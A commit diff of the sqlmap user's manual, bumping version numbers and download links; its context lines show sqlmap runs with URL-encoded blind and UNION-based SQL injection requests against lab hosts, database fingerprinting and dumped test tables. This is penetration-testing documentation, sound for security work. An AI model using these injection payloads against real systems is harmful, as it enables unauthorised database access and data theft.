8
8
< H1 > sqlmap user's manual</ H1 >
9
9
10
10
< H2 > by
11
- < A HREF ="mailto:bernardo.damele@gmail.com "> Bernardo Damele A. G.</ A > </ H2 > version 0.6, 1st of September 2008
11
+ < A HREF ="mailto:bernardo.damele@gmail.com "> Bernardo Damele A. G.</ A > </ H2 > version 0.6.1, 20th of October 2008
12
12
< HR >
13
13
< EM > This document is the user's manual to use
14
14
< A HREF ="http://sqlmap.sourceforge.net "> sqlmap</ A > .
@@ -73,7 +73,7 @@ <H2><A NAME="ss1.1">1.1</A> <A HREF="#toc1.1">Requirements</A>
73
73
< A HREF ="http://www.python.org "> Python</ A > ,
74
74
a dynamic object-oriented interpreted programming language.
75
75
This makes the tool independent from the operating system since it only
76
- requires the Python interpreter.
76
+ requires the Python interpreter version equal or above to 2.4 .
77
77
The interpreter is freely downloadable from its
78
78
< A HREF ="http://python.org/download/ "> official site</ A > .
79
79
To make it even easier, many GNU/Linux distributions come out of the box
@@ -292,19 +292,19 @@ <H2><A NAME="s3">3.</A> <A HREF="#toc3">Download and update</A></H2>
292
292
< P >
293
293
< UL >
294
294
< LI >
295
- < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.tar.gz "> Source gzip compressed</ A > operating system independent.</ LI >
295
+ < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1.1. tar.gz "> Source gzip compressed</ A > operating system independent.</ LI >
296
296
< LI >
297
- < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.tar.bz2 "> Source bzip2 compressed</ A > operating system independent.</ LI >
297
+ < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1.1. tar.bz2 "> Source bzip2 compressed</ A > operating system independent.</ LI >
298
298
< LI >
299
- < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.zip "> Source zip compressed</ A > operating system independent.</ LI >
299
+ < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1.1. zip "> Source zip compressed</ A > operating system independent.</ LI >
300
300
< LI >
301
- < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap_0.6-1_all.deb "> DEB binary package</ A > architecture independent for Debian and any
301
+ < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap_0.6.1.1 -1_all.deb "> DEB binary package</ A > architecture independent for Debian and any
302
302
other Debian derivated GNU/Linux distribution.</ LI >
303
303
< LI >
304
- < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6-1.noarch.rpm "> RPM binary package</ A > architecture independent for Fedora and any
304
+ < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1.1 -1.noarch.rpm "> RPM binary package</ A > architecture independent for Fedora and any
305
305
other operating system that can install RPM packages.</ LI >
306
306
< LI >
307
- < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6_exe .zip "> Portable executable for Windows</ A > that < B > does not require the Python
307
+ < A HREF ="http://downloads.sourceforge.net/sqlmap/sqlmap-0.6.1.1_exe .zip "> Portable executable for Windows</ A > that < B > does not require the Python
308
308
interpreter</ B > to be installed on the operating system.</ LI >
309
309
</ UL >
310
310
</ P >
@@ -331,7 +331,7 @@ <H2><A NAME="s5">5.</A> <A HREF="#toc5">Usage</A></H2>
331
331
< PRE >
332
332
$ python sqlmap.py -h
333
333
334
- sqlmap/0.6 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
334
+ sqlmap/0.6.1.1 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com>
335
335
and Daniele Bellucci <daniele.bellucci@gmail.com>
336
336
337
337
Usage: sqlmap.py [options] {-u <URL> | -g <google dork> | -c <config file> }
@@ -528,7 +528,7 @@ <H3>Target URL and verbosity</H3>
528
528
[hh:mm:28] [TRAFFIC OUT] HTTP request:
529
529
GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
530
530
Host: 192.168.1.121:80
531
- User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
531
+ User-agent: sqlmap/0.6.1.1 (http://sqlmap.sourceforge.net)
532
532
Connection: close
533
533
[...]
534
534
[hh:mm:29] [INFO] testing MySQL
@@ -537,7 +537,7 @@ <H3>Target URL and verbosity</H3>
537
537
GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
538
538
CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%207994=7994&cat=2 HTTP/1.1
539
539
Host: 192.168.1.121:80
540
- User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
540
+ User-agent: sqlmap/0.6.1.1 (http://sqlmap.sourceforge.net)
541
541
Connection: close
542
542
[...]
543
543
</ PRE >
@@ -555,7 +555,7 @@ <H3>Target URL and verbosity</H3>
555
555
[hh:mm:32] [TRAFFIC OUT] HTTP request:
556
556
GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
557
557
Host: 192.168.1.121:80
558
- User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
558
+ User-agent: sqlmap/0.6.1.1 (http://sqlmap.sourceforge.net)
559
559
Connection: close
560
560
561
561
[hh:mm:32] [TRAFFIC IN] HTTP response (OK - 200):
@@ -573,7 +573,7 @@ <H3>Target URL and verbosity</H3>
573
573
GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
574
574
CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%204435=4435&cat=2 HTTP/1.1
575
575
Host: 192.168.1.121:80
576
- User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
576
+ User-agent: sqlmap/0.6.1.1 (http://sqlmap.sourceforge.net)
577
577
Connection: close
578
578
579
579
[hh:mm:33] [TRAFFIC IN] HTTP response (OK - 200):
@@ -600,7 +600,7 @@ <H3>Target URL and verbosity</H3>
600
600
[hh:mm:23] [TRAFFIC OUT] HTTP request:
601
601
GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
602
602
Host: 192.168.1.121:80
603
- User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
603
+ User-agent: sqlmap/0.6.1.1 (http://sqlmap.sourceforge.net)
604
604
Connection: close
605
605
606
606
[hh:mm:23] [TRAFFIC IN] HTTP response (OK - 200):
@@ -625,7 +625,7 @@ <H3>Target URL and verbosity</H3>
625
625
GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2851%29%2C%20
626
626
CHAR%2851%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%201855=1855&cat=2 HTTP/1.1
627
627
Host: 192.168.1.121:80
628
- User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
628
+ User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
629
629
Connection: close
630
630
631
631
[hh:mm:24] [TRAFFIC IN] HTTP response (OK - 200):
@@ -742,7 +742,7 @@ <H3>Testable parameter(s)</H3>
742
742
< BLOCKQUOTE > < CODE >
743
743
< PRE >
744
744
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \
745
- -p user-agent --user-agent "sqlmap/0.6 (http://sqlmap.sourceforge.net)"
745
+ -p user-agent --user-agent "sqlmap/0.6.1 (http://sqlmap.sourceforge.net)"
746
746
747
747
[hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
748
748
[hh:mm:40] [INFO] testing connection to the target url
@@ -888,7 +888,7 @@ <H3>HTTP <CODE>Cookie</CODE> header</H3>
888
888
[hh:mm:39] [TRAFFIC OUT] HTTP request:
889
889
GET /sqlmap/get_str.asp?name=luther HTTP/1.1
890
890
Host: 192.168.1.125:80
891
- User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
891
+ User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
892
892
Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ
893
893
Connection: close
894
894
@@ -900,7 +900,7 @@ <H3>HTTP <CODE>Cookie</CODE> header</H3>
900
900
GET /sqlmap/get_str.asp?name=luther HTTP/1.1
901
901
Host: 192.168.1.125:80
902
902
Cookie: ASPSESSIONIDSABTRCAS=469
903
- User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
903
+ User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
904
904
Connection: close
905
905
906
906
[hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic
@@ -948,7 +948,7 @@ <H3>HTTP <CODE>Referer</CODE> header</H3>
948
948
GET /sqlmap/pgsql/get_int.php?id=1&cat=2 HTTP/1.1
949
949
Host: 192.168.1.121:80
950
950
Referer: http://www.google.com
951
- User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
951
+ User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
952
952
Connection: close
953
953
[...]
954
954
</ PRE >
@@ -965,7 +965,7 @@ <H3>HTTP <CODE>User-Agent</CODE> header</H3>
965
965
< P >
966
966
< BLOCKQUOTE > < CODE >
967
967
< PRE >
968
- sqlmap/0.6 (http://sqlmap.sourceforge.net)
968
+ sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
969
969
</ PRE >
970
970
</ CODE > </ BLOCKQUOTE >
971
971
</ P >
@@ -1051,7 +1051,7 @@ <H3>HTTP <CODE>Basic</CODE> and <CODE>Digest</CODE> authentications</H3>
1051
1051
GET /sqlmap/mysql/basic/get_int.php?id=1&cat=2 HTTP/1.1
1052
1052
Host: 192.168.1.121:80
1053
1053
Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M=
1054
- User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
1054
+ User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
1055
1055
Connection: close
1056
1056
[...]
1057
1057
@@ -1068,7 +1068,7 @@ <H3>HTTP <CODE>Basic</CODE> and <CODE>Digest</CODE> authentications</H3>
1068
1068
uri="/sqlmap/mysql/digest/get_int.php?id=1&cat=2",
1069
1069
response="e1bf3738b4bbe04e197a12fb134e13a2", algorithm="MD5", qop=auth, nc=00000001,
1070
1070
cnonce="df1c0902c931b640"
1071
- User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
1071
+ User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
1072
1072
Connection: close
1073
1073
[...]
1074
1074
</ PRE >
@@ -1193,7 +1193,7 @@ <H3>String match</H3>
1193
1193
[hh:mm:50] [TRAFFIC OUT] HTTP request:
1194
1194
GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
1195
1195
Host: 192.168.1.121:80
1196
- User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
1196
+ User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
1197
1197
Connection: close
1198
1198
1199
1199
[hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200):
@@ -1215,7 +1215,7 @@ <H3>String match</H3>
1215
1215
[hh:mm:51] [TRAFFIC OUT] HTTP request:
1216
1216
GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
1217
1217
Host: 192.168.1.121:80
1218
- User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
1218
+ User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
1219
1219
Connection: close
1220
1220
1221
1221
[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
@@ -1237,7 +1237,7 @@ <H3>String match</H3>
1237
1237
[hh:mm:51] [TRAFFIC OUT] HTTP request:
1238
1238
GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
1239
1239
Host: 192.168.1.121:80
1240
- User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
1240
+ User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
1241
1241
Connection: close
1242
1242
1243
1243
[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
@@ -1549,9 +1549,9 @@ <H3>Extensive database management system fingerprint</H3>
1549
1549
[hh:mm:03] [INFO] performed 13 queries in 0 seconds
1550
1550
[hh:mm:03] [INFO] query: @@VERSION
1551
1551
[hh:mm:03] [INFO] retrieved: Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
1552
- Aug 6 2000 00:57:48
1553
- Copyright (c) 1988-2000 Microsoft Corporation
1554
- Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
1552
+ Aug 6 2000 00:57:48
1553
+ Copyright (c) 1988-2000 Microsoft Corporation
1554
+ Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
1555
1555
1556
1556
[hh:mm:08] [INFO] performed 1308 queries in 4 seconds
1557
1557
back-end DBMS: active fingerprint: Microsoft SQL Server 2000
@@ -2064,7 +2064,7 @@ <H3>Dump database tables entries</H3>
2064
2064
| 1 | luther | blissett |
2065
2065
| 2 | fluffy | bunny |
2066
2066
| 3 | wu | ming |
2067
- | 4 | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header |
2067
+ | 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
2068
2068
| 5 | NULL | nameisnull |
2069
2069
+----+--------------------------------------------+-------------------+
2070
2070
</ PRE >
@@ -2118,7 +2118,7 @@ <H3>Dump database tables entries</H3>
2118
2118
| 1 | luther | blissett |
2119
2119
| 2 | fluffy | bunny |
2120
2120
| 3 | wu | ming |
2121
- | 4 | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header |
2121
+ | 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
2122
2122
| 5 | | nameisnull |
2123
2123
+----+--------------------------------------------+-------------------+
2124
2124
@@ -2132,7 +2132,7 @@ <H3>Dump database tables entries</H3>
2132
2132
"1","luther","blissett"
2133
2133
"2","fluffy","bunny"
2134
2134
"3","wu","ming"
2135
- "4","sqlmap/0.6 (http://sqlmap.sourceforge.net)","user agent header"
2135
+ "4","sqlmap/0.6.1 (http://sqlmap.sourceforge.net)","user agent header"
2136
2136
"5","","nameisnull"
2137
2137
</ PRE >
2138
2138
</ CODE > </ BLOCKQUOTE >
@@ -2159,7 +2159,7 @@ <H3>Dump all databases tables entries</H3>
2159
2159
| 1 | luther | blissett |
2160
2160
| 2 | fluffy | bunny |
2161
2161
| 3 | wu | ming |
2162
- | 4 | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header |
2162
+ | 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
2163
2163
| 5 | NULL | nameisnull |
2164
2164
+----+--------------------------------------------+-------------------+
2165
2165
@@ -2249,7 +2249,7 @@ <H3>Dump all databases tables entries</H3>
2249
2249
+----+--------------------------------------------+-------------------+
2250
2250
| id | name | surname |
2251
2251
+----+--------------------------------------------+-------------------+
2252
- | 4 | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header |
2252
+ | 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header |
2253
2253
| 2 | fluffy | bunny |
2254
2254
| 1 | luther | blisset |
2255
2255
| 3 | wu | ming |
@@ -2782,9 +2782,9 @@ <H3>Use the UNION SELECT query SQL injection</H3>
2782
2782
banner:
2783
2783
---
2784
2784
Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
2785
- Aug 6 2000 00:57:48
2786
- Copyright (c) 1988-2000 Microsoft Corporation
2787
- Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
2785
+ Aug 6 2000 00:57:48
2786
+ Copyright (c) 1988-2000 Microsoft Corporation
2787
+ Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
2788
2788
---
2789
2789
</ PRE >
2790
2790
</ CODE > </ BLOCKQUOTE >
@@ -2812,7 +2812,7 @@ <H3>Use the UNION SELECT query SQL injection</H3>
2812
2812
%2C%20CHAR%2832%29%29%2CCHAR%28122%2C110%2C105%2C89%2C121%2C65%29%29%2C%20NULL--%20AND%2
2813
2813
06043=6043&cat=2 HTTP/1.1
2814
2814
Host: 192.168.1.121:80
2815
- User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
2815
+ User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
2816
2816
Connection: close
2817
2817
2818
2818
[hh:mm:25] [TRAFFIC IN] HTTP response (OK - 200):
@@ -2954,7 +2954,7 @@ <H3>Update sqlmap to the latest stable version</H3>
2954
2954
[hh:mm:55] [TRAFFIC OUT] HTTP request:
2955
2955
GET /doc/VERSION HTTP/1.1
2956
2956
Host: sqlmap.sourceforge.net
2957
- User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
2957
+ User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
2958
2958
Connection: close
2959
2959
2960
2960
[hh:mm:55] [TRAFFIC IN] HTTP response (OK - 200):
@@ -2973,7 +2973,7 @@ <H3>Update sqlmap to the latest stable version</H3>
2973
2973
[hh:mm:56] [TRAFFIC OUT] HTTP request:
2974
2974
GET /FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx HTTP/1.1
2975
2975
Host: www.sqlsecurity.com
2976
- User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
2976
+ User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
2977
2977
Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0;
2978
2978
language=en-US
2979
2979
Connection: close
0 commit comments